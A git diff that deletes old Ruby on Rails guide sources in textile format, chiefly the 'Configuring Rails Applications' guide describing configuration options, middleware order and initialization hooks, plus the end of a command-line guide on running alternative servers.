-NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails new+ command to generate the basis of your app.
-
-h4(#different-servers). +server+ with Different Backends
-
-Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
-
-NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
-
-To use a different server, just install its gem, then use its name for the first parameter to +rails server+:
-
-<shell>
-$ sudo gem install mongrel
-Building native extensions.  This could take a while...
-Building native extensions.  This could take a while...
-Successfully installed gem_plugin-0.2.3
-Successfully installed fastthread-1.0.1
-Successfully installed cgi_multipart_eof_fix-2.5.0
-Successfully installed mongrel-1.1.5
-...
-...
-Installing RDoc documentation for mongrel-1.1.5...
-$ rails server mongrel
-=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
-=> Rails 3.1.0 application starting on http://0.0.0.0:3000
-...
-</shell>
diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile
deleted file mode 100644
index cd6e7d116e..0000000000
--- a/railties/guides/source/configuring.textile
+++ /dev/null
@@ -1,627 +0,0 @@
-h2. Configuring Rails Applications
-
-This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
-
-* Adjust the behavior of your Rails applications
-* Add additional code to be run at application start time
-
-endprologue.
-
-h3. Locations for Initialization Code
-
-Rails offers four standard spots to place initialization code:
-
-* +config/application.rb+
-* Environment-specific configuration files
-* Initializers
-* After-initializers
-
-h3. Running Code Before Rails
-
-In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+.
-
-h3. Configuring Rails Components
-
-In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file +config/application.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components.
-
-For example, the default +config/application.rb+ file includes this setting:
-
-<ruby>
-config.filter_parameters += [:password]
-</ruby>
-
-This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object in +config/application.rb+:
-
-<ruby>
-config.active_record.observers = [:hotel_observer, :review_observer]
-</ruby>
-
-Rails will use that particular setting to configure Active Record.
-
-h4. Rails General Configuration
-
-These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+.
-
-* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
-
-<ruby>
-config.after_initialize do
-  ActionView::Base.sanitized_allowed_tags.delete 'div'
-end
-</ruby>
-
-* +config.allow_concurrency+ should be true to allow concurrent (threadsafe) action processing. False by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Can also be enabled with +threadsafe!+.
-
-* +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+.
-
-* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+.
-
-<ruby>
-config.asset_path = proc { |path| "/blog/public#{path}" }
-</ruby>
-
-NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default.
-
-* +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array.
-
-* +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+.
-
-* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+.
-
-* +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+.
-
-* +config.cache_store+ configures which cache store to use for Rails caching. Options include one of the symbols +:memory_store+, +:file_store+, +:mem_cache_store+, or an object that implements the cache API. Defaults to +:file_store+ if the directory +tmp/cache+ exists, and to +:memory_store+ otherwise.
-
-* +config.colorize_logging+ specifies whether or not to use ANSI color codes when logging information. Defaults to true.
-
-* +config.consider_all_requests_local+ is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the +Rails::Info+ controller will show the application runtime context in +/rails/info/properties+. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement +local_request?+ in controllers to specify which requests should provide debugging information on errors.
-
-* +config.dependency_loading+ is a flag that allows you to disable constant autoloading setting it to false. It only has effect if +config.cache_classes+ is true, which it is by default in production mode. This flag is set to false by +config.threadsafe!+.
-
-* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the +app+ directory of the application.
-
-* +config.encoding+ sets up the application-wide encoding. Defaults to UTF-8.
-
-* +config.filter_parameters+ used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
-
-* +config.force_ssl+ forces all requests to be under HTTPS protocol by using +Rack::SSL+ middleware.
-
-* +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+.
-
-* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode.
-
-* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below.
-
-* +config.plugins+ accepts the list of plugins to load. The default is +nil+ in which case all plugins will be loaded. If this is set to +[]+, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option lets you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol +:all+ to have the rest loaded without the need to specify them.
-
-* +config.preload_frameworks+ enables or disables preloading all frameworks at startup. Enabled by +config.threadsafe!+. Defaults to +nil+, so is disabled.
-
-* +config.reload_plugins+ enables or disables plugin reloading. Defaults to false.
-
-* +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+.
-
-* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
-
-* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
-
-<ruby>
-config.session_store :my_custom_store
-</ruby>
-
-This custom store must be defined as +ActionDispatch::Session::MyCustomStore+. In addition to symbols, they can also be objects implementing a certain API, like +ActiveRecord::SessionStore+, in which case no special namespace is required.
-
-* +config.threadsafe!+ enables +allow_concurrency+, +cache_classes+, +dependency_loading+ and +preload_frameworks+ to make the application threadsafe.
-
-WARNING: Threadsafe operation is incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
-
-* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record.
-
-* +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments.
-
-h4. Configuring Assets
-
-Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.
-
-* +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+.
-
-* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+.
-
-* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem.
-
-* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
-
-* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
-
-* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run.
-
-* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+.
-
-* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+.
-
-* +config.assets.debug+ disables the concatenation and compression of assets. Set to +false+ by default in +development.rb+.
-
-* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+.
-
-* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store.
-
-* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
-
-* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production.
-
-
-h4. Configuring Generators
-
-Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block:
-
-<ruby>
-config.generators do |g|
-  g.orm :active_record
-  g.test_framework :test_unit
-end
-</ruby>
-
-The full set of methods that can be used in this block are as follows:
-
-* +assets+ allows to create assets on generating a scaffold. Defaults to +true+.
-* +force_plural+ allows pluralized model names. Defaults to +false+.
-* +helper+ defines whether or not to generate helpers. Defaults to +true+.
-* +integration_tool+ defines which integration tool to use. Defaults to +nil+.
-* +javascripts+ turns on the hook for javascripts in generators. Used in Rails for when the +scaffold+ generator is ran. Defaults to +true+.
-* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+.
-* +orm+ defines which orm to use. Defaults to +false+ and will use Active Record by default.
-* +performance_tool+ defines which performance tool to use. Defaults to +nil+.
-* +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+.
-* +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+.
-* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is ran, but this hook can be used in other generates as well. Defaults to +true+.
-* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+.
-* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default.
-* +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+.
-
-h4. Configuring Middleware
-
-Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
-
-* +Rack::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+.  Options passed to this can be configured by using +config.ssl_options+.
-* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+.
-* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default.
-* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
-* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request.
-* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs.
-* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless.
-* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings.
-* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+.
-* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request.
-* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+.
-* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
-* +ActionDispatch::Cookies+ sets cookies for the request.
-* +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+.
-* +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value.
-* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+.
-* +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PUT and DELETE HTTP method types.
-* +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so.
-* +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly.
-
-Besides these usual middleware, you can add your own by using the +config.middleware.use+ method:
-
-<ruby>
-config.middleware.use Magical::Unicorns
-</ruby>
-
-This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another.
-
-<ruby>
-config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
-</ruby>
-
-There's also +insert_after+ which will insert a middleware after another:
-
-<ruby>
-config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
-</ruby>
-
-Middlewares can also be completely swapped out and replaced with others:
-
-<ruby>
-config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
-</ruby>
-
-They can also be removed from the stack completely:
-
-<ruby>
-config.middleware.delete ActionDispatch::BestStandardsSupport
-</ruby>
-
-h4. Configuring i18n
-
-* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
-
-* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+.
-
-h4. Configuring Active Record
-
-<tt>config.active_record</tt> includes a variety of configuration options:
-
-* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging.
-
-* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
-** +:table_name+ would make the primary key for the Customer class +customerid+
-** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
-
-* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
-
-* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
-
-* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table.
-
-* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails.
-
-* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
-
-* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
-
-* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default.
-
-* +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
-
-The MySQL adapter adds one additional configuration option:
-
-* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default.
-
-The schema dumper adds one additional configuration option:
-
-* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
-
-h4. Configuring Action Controller
-
-<tt>config.action_controller</tt> includes a number of configuration settings:
-
-* +config.action_controller.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
-
-* +config.action_controller.asset_path+ takes a block which configures where assets can be found. Shorter version of +config.action_controller.asset_path+.
-
-* +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files.
-
-* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+.
-
-* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production.
-
-* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8".
-
-* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging.
-
-* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
-
-* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes.
-
-* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
-
-The caching code adds two additional settings:
-
-* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>).
-
-* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-
-The Active Record session store can also be configured:
-
-* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table used to store sessions. Defaults to +sessions+.
-
-* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column used in the sessions table. Defaults to +session_id+.
-
-* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+.
-
-h4. Configuring Action Dispatch
-
-* +config.action_dispatch.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
-
-* +config.action_dispatch.tld_length+ sets the TLD (top-level domain) length for the application. Defaults to +1+.
-
-* +ActionDispatch::Callbacks.before+ takes a block of code to run before the request.
-
-* +ActionDispatch::Callbacks.to_prepare+ takes a block to run after +ActionDispatch::Callbacks.before+, but before the request. Runs for every request in +development+ mode, but only once for +production+ or environments with +cache_classes+ set to +true+.
-
-* +ActionDispatch::Callbacks.after+ takes a block of code to run after the request.
-
-h4. Configuring Action View
-
-There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
-
-* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is
-
-<ruby>
-Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
-</ruby>
-
-* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
-
-* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging.
-
-* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
-
-* +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
-
-<ruby>
-config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
-</ruby>
-
-However, you may add to this by defining others:
-
-<ruby>
-config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
-</ruby>
-
-And can reference in the view with the following code:
-
-<ruby>
-<%= javascript_include_tag :prototype %>
-</ruby>
-
-* +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such:
-
-<ruby>
-<%= stylesheet_link_tag :special %>
-</ruby>
-
-* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
-
-h4. Configuring Action Mailer
-
-There are a number of settings available on +config.action_mailer+:
-
-* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging.
-
-* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
-** +:domain+ - If you need to specify a HELO domain, you can do it here.
-** +:user_name+ - If your mail server requires authentication, set the username in this setting.
-** +:password+ - If your mail server requires authentication, set the password in this setting.
-** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
-
-* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
-** +:arguments+ - The command line arguments. Defaults to +-i -t+.
-
-* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
-
-* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
-
-* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
-
-* +config.action_mailer.default+ configures Action Mailer defaults. These default to:
-<ruby>
-:mime_version => "1.0",
-:charset      => "UTF-8",
-:content_type => "text/plain",
-:parts_order  => [ "text/plain", "text/enriched", "text/html" ]
-</ruby>
-
-* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered.
-<ruby>
-config.action_mailer.observers = ["MailObserver"]
-</ruby>
-
-* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent.
-<ruby>
-config.action_mailer.interceptors = ["MailInterceptor"]
-</ruby>
-
-h4. Configuring Active Resource
-
-There is a single configuration setting available on +config.active_resource+:
-
-* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Resource. Set to +nil+ to disable logging.
-
-h4. Configuring Active Support
-
-There are a few configuration options available in Active Support:
-
-* +config.active_support.bare+ enables or disables the loading of +active_support/all+ when booting Rails. Defaults to +nil+, which means +active_support/all+ is loaded.
-
-* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to +true+.
-
-* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to +false+.
-
-* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
-
-* +ActiveSupport::Deprecation.behavior+ alternative setter to +config.active_support.deprecation+ which configures the behavior of deprecation warnings for Rails.
-
-* +ActiveSupport::Deprecation.silence+ takes a block in which all deprecation warnings are silenced.
-
-* +ActiveSupport::Deprecation.silenced+ sets whether or not to display deprecation warnings.
-
-* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-
-h3. Rails Environment Settings
-
-Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
-
-* +ENV["RAILS_ENV"]+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
-
-* +ENV["RAILS_RELATIVE_URL_ROOT"]+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
-
-* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
-
-* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
-
-
-h3. Using Initializer Files
-
-After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts.
-
-NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
-
-TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
-
-h3. Initialization events
-
-Rails has 5 initialization events which can be hooked into (listed in the order that they are ran):
-
-* +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens.
-
-* +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process.
-
-* +to_prepare+: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+.
-
-* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment.
-
-* +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run.
-
-To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass:
-
-<ruby>
-module YourApp
-  class Application < Rails::Application
-    config.before_initialize do
-      # initialization code goes here
-    end
-  end
-end
-</ruby>
-
-Alternatively, you can also do it through the +config+ method on the +Rails.application+ object:
-
-<ruby>
-Rails.application.config.before_initialize do
-  # initialization code goes here
-end
-</ruby>
-
-WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
-
-h4. +Rails::Railtie#initializer+
-
-Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support:
-
-<ruby>
-initializer "active_support.initialize_whiny_nils" do |app|
-  require 'active_support/whiny_nil' if app.config.whiny_nils
-end
-</ruby>
-
-The +initializer+ method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The +:before+ key in the options hash can be specified to specify which initializer this new initializer must run before, and the +:after+ key will specify which initializer to run this initializer _after_.
-
-Initializers defined using the +initializer+ method will be ran in the order they are defined in, with the exception of ones that use the +:before+ or +:after+ methods.
-
-WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
-
-The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example.
-
-Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application.
-
-h4. Initializers
-
-Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
-
-*+load_environment_hook+*
-Serves as a placeholder so that +:load_environment_config+ can be defined to run before it.
-
-*+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default.
-
-*+preload_frameworks+* Loads all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization.
-
-*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+.
-
-*+initialize_cache+* If +RAILS_CACHE+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +RAILS_CACHE+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack.
-
-*+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
-
-*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them.
-
-*+bootstrap_hook+* Runs all configured +before_initialize+ blocks.
-
-*+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
-
-*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as:
-
-<plain>
-  Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
-</plain>
-
-And:
-
-<plain>
-You have a nil object when you didn't expect it!
-You might have expected an instance of Array.
-The error occurred while evaluating nil.each
-</plain>
-
-*+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values.
-
